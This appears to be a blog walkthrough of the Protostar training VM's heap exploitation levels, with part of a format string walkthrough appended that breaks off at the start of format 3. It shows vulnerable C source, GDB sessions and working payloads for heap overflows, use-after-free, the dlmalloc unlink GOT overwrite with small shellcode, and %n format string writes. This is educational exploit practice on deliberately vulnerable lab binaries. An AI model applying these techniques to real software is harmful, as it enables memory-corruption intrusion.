Protostar Walkthrough - Heap

Protostar is a virtual machine from Exploit Exercises that goes through basic memory corruption issues.

This blog post is a continuation from my previous writeups on the stack exploitation and format string exploitation stages of Protostar and will deal with the heap exploitation exercises.

Heap exploitation techniques can be very allocator specific. The memory allocator used in Protostar is glibc’s malloc, which is based on Doug Lea’s malloc (or dlmalloc for short). This is probably the most frequently encountered malloc implementation but it is important to remember that there can be differences if you run into another allocator.

Here are some useful resouces to have open in your browser as you are working through the heap exercises:

  1. glibc Malloc Internals
  2. Understanding the heap by breaking it by Justin N. Ferguson

The sha1sum of the ISO I am working with is d030796b11e9251f34ee448a95272a4d432cf2ce.

heap 0

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}

In this level, we have a buffer overflow on the name buffer that is allocated on the heap. Just like the stack, heap memory is allocated contiguously. This means that if we write past the buffer, we will be overwriting another data structure.

Let’s take a look at the layout of the heap memory in GDB. We set a breakpoint right before the main() function returns.

(gdb) break *0x08048500
Breakpoint 1 at 0x8048500: file heap0/heap0.c, line 40.
(gdb) run AAAA
Starting program: /opt/protostar/bin/heap0 AAAA
data is at 0x804a008, fp is at 0x804a050
level has not been passed

Breakpoint 1, 0x08048500 in main (argc=134513804, argv=0x2) at heap0/heap0.c:40
40      heap0/heap0.c: No such file or directory.
        in heap0/heap0.c

Looking at info proc map, we see that the heap starts from 0x804a000.

(gdb) info proc map
process 1984
cmdline = '/opt/protostar/bin/heap0'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap0'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/heap0
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/heap0
         0x804a000  0x806b000    0x21000          0           [heap]

... <snip> ...

Looking at the heap memory, we can see where our “AAAA” input is stored on the heap.

(gdb) x/50x 0x804a000
0x804a000:      0x00000000      0x00000049      0x41414141      0x00000000
0x804a010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000011
0x804a050:      0x08048478      0x00000000      0x00000000      0x00020fa9
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000

We also see that the address of the nowinner() function is stored on the heap due to f->fp = nowinner.

(gdb) print &nowinner
$1 = (void (*)(void)) 0x8048478 <nowinner>

We can overwrite that address with the address of winner() which will then be executed by f->fp(). Looking at the heap layout, we can see that we need to write 72 bytes followed by winner()’s memory address.

(gdb) run `python -c "print 'A'*72 + 'BBBB'"`
Starting program: /opt/protostar/bin/heap0 `python -c "print 'A'*72 + 'BBBB'"`
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

We find the memory address of winner().

(gdb) print &winner
$1 = (void (*)(void)) 0x8048464 <winner>

Putting everything together,

user@protostar:~$ /opt/protostar/bin/heap0 $(python -c "print 'A'*72 + '\x64\x84\x04\x08'")
data is at 0x804a008, fp is at 0x804a050
level passed

heap 1

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

In this program, we see that that two internet structs have been allocated. Each struct contains a name pointer that is separately allocated. This means that the internet struct allocated on the heap will contain a pointer to another part of the memory on the heap that contains the char buffer.

Remember how heap memory is allocated contiguously? Due to the order of the malloc calls, this is roughly how the heap will look like.

[i1 structure][i1's name buffer][i2 structure][i2's name buffer]

Due to the buffer overflow from the first strcpy call, we can overwrite i2’s name pointer with a location we want the second strcpy call to write to. With this, we are able to write arbitrary data to any location in memory that we want.

Let’s confirm this.

(gdb) info proc map
process 2034
cmdline = '/opt/protostar/bin/heap1'
cwd = '/home/user'
exe = '/opt/protostar/bin/heap1'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/heap1
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/heap1
         0x804a000  0x806b000    0x21000          0           [heap]

... <snip> ...
(gdb) x/50x  0x804a000
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x41414141      0x00000000
0x804a020:      0x00000000      0x00000011      0x00000002      0x0804a038
0x804a030:      0x00000000      0x00000011      0x42424242      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000

To overwrite the 0x0804a038 pointer, we see that we need to write 20 bytes followed by the memory address where we want the second strcpy call to write to. We confirm this by attempting to write to 0x42424242 which should result in a segmentation fault.

(gdb) run `python -c "print 'A' * 20 + 'BBBB'"` CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A' * 20 + 'BBBB'"` CCCC

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x42424242 <Address 0x42424242 out of bounds>, src=0xbffff96b "CCCC") at strcpy.c:40
40      strcpy.c: No such file or directory.
        in strcpy.c

Now that we can write to an arbitrary address, what and where should we write? The natural thought here is to overwrite the the return address of main() on the stack with the memory address of winner().

(gdb) print &winner
$1 = (void (*)(void)) 0x8048494 <winner>

Now, how we do know where the return address is stored on the stack? By setting a breakpoint on the ret instruction in main(), we can see that the address when running in GDB is 0xbffff77c.

(gdb) break *0x08048567
Breakpoint 1 at 0x8048567: file heap1/heap1.c, line 35.
(gdb) run AAAA BBBB
Starting program: /opt/protostar/bin/heap1 AAAA BBBB
and that's a wrap folks!

Breakpoint 1, 0x08048567 in main (argc=134513849, argv=0x3) at heap1/heap1.c:35
35      heap1/heap1.c: No such file or directory.
        in heap1/heap1.c
(gdb) print $esp
$1 = (void *) 0xbffff77c

However, we cannot use this exact memory address as the layout of the stack does change outside of a debugger. Since the stack is not touched after the second strcpy until main() returns, what we can do is start from an address near 0xbffff77c and write \x94\x84\x04\x08 repeatedly. This will eventually overwrite the return address of main().

After some trial and error, this is what we end up with.

user@protostar:~$ /opt/protostar/bin/heap1 `python -c "print 'A' * 20 + '\x40\xf7\xff\xbf'"` `python -c "print '\x94\x84\x04\x08' * 8"`
and that's a wrap folks!
and we have a winner @ 1527638212
Segmentation fault

We have successfully redirected control flow to the winner() function. However, the program still has a segmentation fault since the winner() function attempts to returns to \x00\x00\x00\x00 due to strcpy writing a terminating NULL byte.

What we can do is write another 4 bytes with the memory address of exit(), which should make the program exit cleanly.

(gdb) print &exit
$1 = (<text variable, no debug info> *) 0xb7ec60c0 <*__GI_exit>

Putting it all together, we end up with the following.

user@protostar:~$ /opt/protostar/bin/heap1 `python -c "print 'A' * 20 + '\x40\xf7\xff\xbf'"` `python -c "print '\x94\x84\x04\x08' * 8 + '\xc0\x60\xec\xb7'"`
and that's a wrap folks!
and we have a winner @ 1527638455

heap 2

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;

      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

In this program, we have a login service that reads data from stdin. Our goal here is to have the program print “you have logged in already!”.

We have several commands, auth, reset, service and login, that we can call.

user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth test
[ auth = 0x804c008, service = (nil) ]
service AAAA
[ auth = 0x804c008, service = 0x804c018 ]
login
please enter your password
[ auth = 0x804c008, service = 0x804c018 ]
reset
[ auth = 0x804c008, service = 0x804c018 ]

We notice that the auth pointer still points to the original memory location after the reset command, which free()’s the allocated memory. Subsequent login commands then accesses the freed memory with auth->auth. This is a good example of the classic Use-After-Free vulnerability. If we can overwrite the original struct’s auth member with 1, we can successfully exploit this.

With glibc’s malloc, heap chunks are assigned on a “best fit” basis. This can be manipulated with various techniques (heap spraying, heap feng shui) to set up heap memory in a way that is useful for exploitation.

For this level though, we can keep things very simple. We can allocate a auth struct and free it with the reset command. Next, we use the service command which calls the strdup() function that allocates memory on the heap. We see that strdup() allocates memory at the same location as the freed auth struct since there are no other chunks in use.

user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth AAAA
[ auth = 0x804c008, service = (nil) ]
reset
[ auth = 0x804c008, service = (nil) ]
service BBBB
[ auth = 0x804c008, service = 0x804c008 ]

We can write multiple “1”’s to the heap-allocated buffer with strdup that will eventually overwrite the original struct’s auth member. This level is simple enough that we don’t need to be very precise about what or how many bytes we write with strdup().

user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth AAAA
[ auth = 0x804c008, service = (nil) ]
reset
[ auth = 0x804c008, service = (nil) ]
service 111111111111111111111111111111111111
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

heap 3

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

In this level, we will be taking a look at heap metadata and how we can exploit it for code execution. We will be using the “unlink()” technique demonstrated in the Vudo paper presented in Phrack. It is important to note that this technique will no longer work in present-day glibc as the malloc implementation has been hardened over the years.

This is the layout of the heap before any of the pointers are freed.

(gdb) x/50x 0x804c000
0x804c000:      0x00000000      0x00000029      0x41414141      0x00000000
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x42424242      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x43434343      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000000      0x00000000

Let us first take a look at how a chunk of memory is represented in glibc.

struct malloc_chunk {
	INTERNAL_SIZE_T		prev_size;
	INTERNAL_SIZE_T		size;
	struct malloc_chunk*	fd;
	struct malloc_chunk*	bk;
}

The prev_size member contains the size of the chunk previous to the current chunk. It is only used if the previous chunk is free. As you can see from the heap memory layout, the prev_size members of all three chunks are NULL.

The size member contains the size of the current chunk. We see that the value of the size member is 0x00000029 (00101001 in binary). Referring to the glibc Malloc Internals page, we see that chunks are allocated in multiples of 8 bytes. This means that the 3 lowest bits of the size member will always be 0.

The malloc implementation uses these 3 bits as flag values. Quoting from the glibc Malloc Internals page, three flags are defined as follows:

A (0x04)

Allocated Arena - the main arena uses the application’s heap. Other arenas use mmap’d heaps. To map a chunk to a heap, you need to know which case applies. If this bit is 0, the chunk comes from the main arena and the main heap. If this bit is 1, the chunk comes from mmap’d memory and the location of the heap can be computed from the chunk’s address.

M (0x02)

MMap’d chunk - this chunk was allocated with a single call to mmap and is not part of a heap at all.

P (0x01)

Previous chunk is in use - if set, the previous chunk is still being used by the application, and thus the prev_size field is invalid. Note - some chunks, such as those in fastbins (see below) will have this bit set despite being free’d by the application. This bit really means that the previous chunk should not be considered a candidate for coalescing - it’s “in use” by either the application or some other optimization layered atop malloc’s original code.

With this information, we can see that each chunk has a size of 40 bytes and that the previous chunk is in use.

When a chunk is freed, it is added to a doubly linked free list that is used to track which chunks are currently free. The fd and bk members are pointers to the next and previous chunks respectively and are only set when the chunk itself is freed.

The unlink() technique relies on a specific behaviour of the free() function which I quote from the Vudo paper.

[4.1] – If the chunk located immediately before the chunk to be freed is unused, it is taken off its doubly-linked list via unlink() (if it is not the `last_remainder’) and consolidated with the chunk being freed.

[4.2] – If the chunk located immediately after the chunk to be freed is unused, it is taken off its doubly-linked list via unlink() (if it is not the `last_remainder’) and consolidated with the chunk being freed.

Whether or not a previous chunk is considered unused is determined by whether the prev_size member on the current chunk is set.

unlink() is defined as:

#define unlink( P, BK, FD ) {            \
[1] BK = P->bk;                          \
[2] FD = P->fd;                          \
[3] FD->bk = BK;                         \
[4] BK->fd = FD;                         \
}

where P is the chunk you want to link and BK and FD are temporary pointers. Basically, when calling free() on a chunk, the unlink() function performs two actions:

  1. Writes the value of P->bk to the memory address pointed to by (P->fd) + 12. The value of 12 is because it writes to the bk member of P->fd which is located at offset 12.
  2. Writes the value of P->fd to the memory address pointed to by (P->bk) + 8. The value of 8 is because it writes to the fd member of P->bk which is located at offset 8.

Heap Diagram 1

Heap Diagram 2

So, if we can control the values of P->bk and P->fk, we are able to write arbitrary data to an arbitrary location in memory (commonly known as a write-what-where condition).

Resuming execution of the program, we see that the heap layout is as follows after the three free() calls.

(gdb) x/50x 0x804c000
0x804c000:      0x00000000      0x00000029      0x0804c028      0x00000000
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x0804c050      0x00000000      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x00000000
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000000      0x00000000

We notice that while the fd member is correctly set for the chunks, bk and prev_size are not. This is due to a feature of the allocator called fastbins which is used for chunks smaller than 64 bytes by default. Quoting from the glibc Malloc Internals page,

Small chunks are stored in size-specific bins. Chunks added to a fast bin (“fastbin”) are not combined with adjacent chunks - the logic is minimal to keep access fast (hence the name). Chunks in the fastbins may be moved to other bins as needed. Fastbin chunks are stored in a single linked list, since they’re all the same size and chunks in the middle of the list need never be accessed.

During exploitation, we want our chunks to be treated as normal chunks. We can do this easily since we can control the size member of each chunk.)

There is one final hurdle to exploitation that we need to overcome. Writing to the size and prev_size members require the use of NULL bytes. We are unable to do so because any NULL bytes that we pass to the program as an argument will be treated as a string terminator.

The Phrack paper Once upon a free() describes a clever trick to avoid this issue. If we supply a value like 0xFFFFFFFC (-4 as a signed integer), the allocator will not place the chunk in the fastbin as 0xFFFFFFFC as an unsigned integer is a much larger value than 64. Due to an integer overflow during pointer arithmetic, the allocator thinks that the previous chunk actually starts at 4 bytes past the start of the current chunk.

Heap Diagram 3

Putting together what we have learnt so far, we get the following input to the program. We overwrite the prev_size and size members with -4. The \x42\x42\x42\x42 and \x43\x43\x43\x43 are the fd and bk members respectively.

user@protostar:~$ /opt/protostar/bin/heap3 AAAA `python -c "print 'A' * 32 + '\xfc\xff\xff\xff' + '\xfc\xff\xff\xff' + 'A' * 4 + '\x42\x42\x42\x42\x43\x43\x43\x43'"` DDD
Segmentation fault

As expected, we see that it segfaults at 0x4242424e as it tries to write to that address.

Now that we have a write-what-where primitive, how do we turn it into control of program flow? Using the lessons from the format string stages, we can overwrite the GOT table entry for puts() to point to winner().

We look up the address of puts()’s GOT entry which is 0x804b128.

user@protostar:~$ objdump -TR /opt/protostar/bin/heap3

/opt/protostar/bin/heap3:     file format elf32-i386

... <snip> ...

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804b0e4 R_386_GLOB_DAT    __gmon_start__
0804b140 R_386_COPY        stderr
0804b0f4 R_386_JUMP_SLOT   __errno_location
0804b0f8 R_386_JUMP_SLOT   mmap
0804b0fc R_386_JUMP_SLOT   sysconf
0804b100 R_386_JUMP_SLOT   __gmon_start__
0804b104 R_386_JUMP_SLOT   mremap
0804b108 R_386_JUMP_SLOT   memset
0804b10c R_386_JUMP_SLOT   __libc_start_main
0804b110 R_386_JUMP_SLOT   sbrk
0804b114 R_386_JUMP_SLOT   memcpy
0804b118 R_386_JUMP_SLOT   strcpy
0804b11c R_386_JUMP_SLOT   printf
0804b120 R_386_JUMP_SLOT   fprintf
0804b124 R_386_JUMP_SLOT   time
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

This means that we want to write \x1c\xb1\x04\x08 to fd. Remember, we have to subtract 12 bytes from the memory address that we want to write to.

Next, we get the memory address of the winner() function which is 0x8048864.

(gdb) print &winner
$1 = (void (*)(void)) 0x8048864 <winner>

We attempt to write that address directly to the GOT entry of puts().

user@protostar:~$ gdb --args /opt/protostar/bin/heap3 `python -c "print 'AAAA'"` `python -c "print 'A' * 32 + '\xfc\xff\xff\xff' + '\xfc\xff\xff\xff' + 'A' * 4 + '\x1c\xb1\x04\x08\x64\x88\x04\x08'"` DDD

(gdb) run
Starting program: /opt/protostar/bin/heap3 AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA DDD

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638    common/malloc.c: No such file or directory.
        in common/malloc.c

(gdb) p $_siginfo._sifields._sigfault.si_addr
$5 = (void *) 0x804886c

We see that it segfaults as it attempts to write to 0x804886c. This is due to second step in the unlink process.

We need to change our input so that P->bk + 8 lands somewhere in a writable memory address space. What we can do is overwrite the puts() GOT entry with a location on the heap that contains some shellcode to jump to winner().

To obtain our shellcode, we use nasm_shell to generate a push 0x8048864; ret instruction.

nasm > push 0x08048864
00000000  6864880408        push dword 0x8048864
nasm > ret
00000000  C3                ret

We place our shell code at the start of the heap using our first strcpy(). We want to start the shellcode after writing 4 bytes because the initial 4 bytes of data for each chunk will be overwritten when the chunk is freed. Since we know that our heap memory starts at 0x804c000, we know that our shell code starts at 0x804c00c.

user@protostar:~$ /opt/protostar/bin/heap3 `python -c "print 'AAAA\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A' * 32 + '\xfc\xff\xff\xff' + '\xfc\xff\xff\xff' + 'A' * 4 + '\x1c\xb1\x04\x08\x0c\xc0\x04\x08'"` DDD
that wasn't too bad now, was it? @ 1527713315

Closing Thoughts

Heap exploitation is complicated. The examples we have seen in Protostar are relatively simple techniques. This is especially true for heap 3 as glibc has been hardened against the “unlink()” technique for a very long time. However, it is still worth studying as it nicely illustrates how heap metadata can be abused for code execution.

We leave links to resources that are worth reading to further your heap exploitation knowledge.

Already linked above:

  1. Vudo - An object superstitiously believed to embody magical powers
  2. Once upon a free()…

Other classic papers:

  1. Advanced Doug lea’s malloc exploits
  2. The Malloc Maleficarum
  3. Malloc Des-Maleficarum

Constantly updated resource:

  1. shellphish’s how2heap on GitHub

Protostar Walkthrough - Format Strings

Protostar is a virtual machine from Exploit Exercises that goes through basic memory corruption issues.

This blog post is a continuation from my previous writeup on the stack exploitation stages of Protostar and will deal with the format string exercises.

scut’s Exploiting Format String Vulnerabilities is a good primer to read before following along the walkthrough.

The sha1sum of the ISO I am working with is d030796b11e9251f34ee448a95272a4d432cf2ce.

format 0

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);

  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

While we can obviously exploit this via a standard stack buffer overflow, we want to do this by exploiting format strings. We are told that this level should be done in less than 10 bytes of input.

We take a look at a disassembly of the vuln() function.

(gdb) disass vuln
Dump of assembler code for function vuln:
0x080483f4 <vuln+0>:    push   %ebp
0x080483f5 <vuln+1>:    mov    %esp,%ebp
0x080483f7 <vuln+3>:    sub    $0x68,%esp
0x080483fa <vuln+6>:    movl   $0x0,-0xc(%ebp)
0x08048401 <vuln+13>:   mov    0x8(%ebp),%eax
0x08048404 <vuln+16>:   mov    %eax,0x4(%esp)
0x08048408 <vuln+20>:   lea    -0x4c(%ebp),%eax
0x0804840b <vuln+23>:   mov    %eax,(%esp)
0x0804840e <vuln+26>:   call   0x8048300 <sprintf@plt>
0x08048413 <vuln+31>:   mov    -0xc(%ebp),%eax
0x08048416 <vuln+34>:   cmp    $0xdeadbeef,%eax
0x0804841b <vuln+39>:   jne    0x8048429 <vuln+53>
0x0804841d <vuln+41>:   movl   $0x8048510,(%esp)
0x08048424 <vuln+48>:   call   0x8048330 <puts@plt>
0x08048429 <vuln+53>:   leave
0x0804842a <vuln+54>:   ret
End of assembler dump.

The interesting memory locations here are -0x4c(%ebp) which belongs to buffer and -0xc(%ebp) which belongs to target.

One method of exploiting format strings is pretty similar to buffer overflows. You can write a large string into a buffer with a relatively short format string. For example, a format string %128d results in a 128 byte string. Using this trick, it is simple to write past buffer into target. We want to create a format string that writes 64 characters followed by 0xdeadbeef, which results in target being overwritten.

user@protostar:~$ /opt/protostar/bin/format0 $(python -c "print '%64d\xef\xbe\xad\xde'")
you have hit the target correctly :)

format 1

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);

  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Like before, we want to overwrite target. However, this time target’s location on the stack is very far away from our current location on the stack.

(gdb) info reg
eax            0x0      0
ecx            0x87cb0d94       -2016735852
edx            0x1      1
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff760       0xbffff760
ebp            0xbffff778       0xbffff778
esi            0x0      0
edi            0x0      0
eip            0x80483fa        0x80483fa <vuln+6>
eflags         0x200286 [ PF SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) print &target
$1 = (int *) 0x8049638

With format string vulnerabilities, you are able to directly write into an arbitrary memory address. The %n format parameter writes the number of bytes written so far by the format string function into a memory address referenced by a pointer. The pointer, like all other parameters, is passed through the stack. Since our input to the printf() function is stored on the stack (as it is passed through argv), we have all the neccessary components to exploit this.

The first hurdle to exploitation is that the printf() is not in the same stack frame as the input string. This usually means that the input string is very far away from our current stack pointer. We first need to locate where the start of our input string is.

Conveniently, format string vulnerabiltiies provide us with a very easy way to read the stack. Each %x prints out the next 4 bytes on the stack and moves the stack pointer forward by the same amount. The fact that format string vulnerabilities provide both a read and write primitive is why they are so powerful.

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 $(python -c "print 'AAAA' + '%x.%x'")
AAAA804960c.bffff788

We want to increment this until we locate the start of our input string (0x41414141) on the stack. This is known as “stack popping”.

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 $(python -c "print 'AAAA' + '%x.'*134 + '%x'")
AAAA804960c.bffff5f8.8048469.b7fd8304.b7fd7ff4.bffff5f8.8048435.bffff7dc.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff678.b7eadc76.2.bffff6a4.bffff6b0.b7fe1848.bffff660.ffffffff.b7ffeff4.804824d.1.bffff660.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff678.230a9a2b.95eec3b.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6a4.8048450.8048440.b7ff1040.bffff69c.b7fff8f8.2.bffff7c1.bffff7dc.0.bffff975.bffff983.bffff98f.bffff9b0.bffff9c3.bffff9d6.bffff9e0.bffffed0.bfffff0e.bfffff22.bfffff39.bfffff4a.bfffff52.bfffff62.bfffff6f.bfffffa3.bfffffb2.bfffffcf.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff7ab.1f.bfffffe1.f.bffff7bb.0.0.0.0.0.77000000.4d5d1483.52aa6e73.a62e2707.69255758.363836.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141

Now, we can replace “AAAA” with the address of target and the final %x with %n to write to the address.

user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 $(python -c "print '\x38\x96\x04\x08' + '%x.'*134 + '%n'")
804960c.bffff5f8.8048469.b7fd8304.b7fd7ff4.bffff5f8.8048435.bffff7dc.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff678.b7eadc76.2.bffff6a4.bffff6b0.b7fe1848.bffff660.ffffffff.b7ffeff4.804824d.1.bffff660.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff678.b4f3baa6.9ea7ccb6.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6a4.8048450.8048440.b7ff1040.bffff69c.b7fff8f8.2.bffff7c1.bffff7dc.0.bffff975.bffff983.bffff98f.bffff9b0.bffff9c3.bffff9d6.bffff9e0.bffffed0.bfffff0e.bfffff22.bfffff39.bfffff4a.bfffff52.bfffff62.bfffff6f.bfffffa3.bfffffb2.bfffffcf.0.20.b7fe2414.21.b7fe2000.10.fabfbff.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.0.d.3e9.e.3e9.17.1.19.bffff7ab.1f.bfffffe1.f.bffff7bb.0.0.0.0.0.f1000000.ddb611b5.5aeca58f.e7cb7a22.691b4515.363836.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.you have modified the target :)

With this method of exploitation, the key is to align your input string with the stack pointer. It is important to remember that the format string you supply is stored on the stack as well. With %x, you are using 2 bytes to pop 4 bytes from the stack. There are other format string parameters you can use as well to win the “race” if you can only provide a limited number of input bytes.

format 2

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);

  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

This is similar to format 1 except that we now have to write a specific value to target.

We locate the start of our input string. This time, it’s much easier since it gets copied to a buffer in the same stack frame as our printf()function.

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%x.'*3 + '%x'" | /opt/protostar/bin/format2
AAAA200.b7fd8420.bffff5c4.41414141
target is 0 :(

With GDB, we find the memory address of target.

(gdb) print &target
$2 = (int *) 0x80496e4

We demonstrate that we can write to target.

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%x.'*3 + '%n'" | /opt/protostar/bin/format2
200.b7fd8420.bffff5c4.
target is 26 :(

Now, remember that %n writes the number of bytes that have already been written by the function. We have control over that since we can supply different format string parameters to write more or less bytes. This is usually done by using %nu where n is a number that we can manipulate to write the number of bytes we want.

user@protostar:/opt/protostar/bin$ python -c "print '\xe4\x96\x04\x08' + '%x.'*2 + '%47u' + '%n'" | /opt/protostar/bin/format2
200.b7fd8420.                                     3221222852
you have modified the target :)

format 3

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
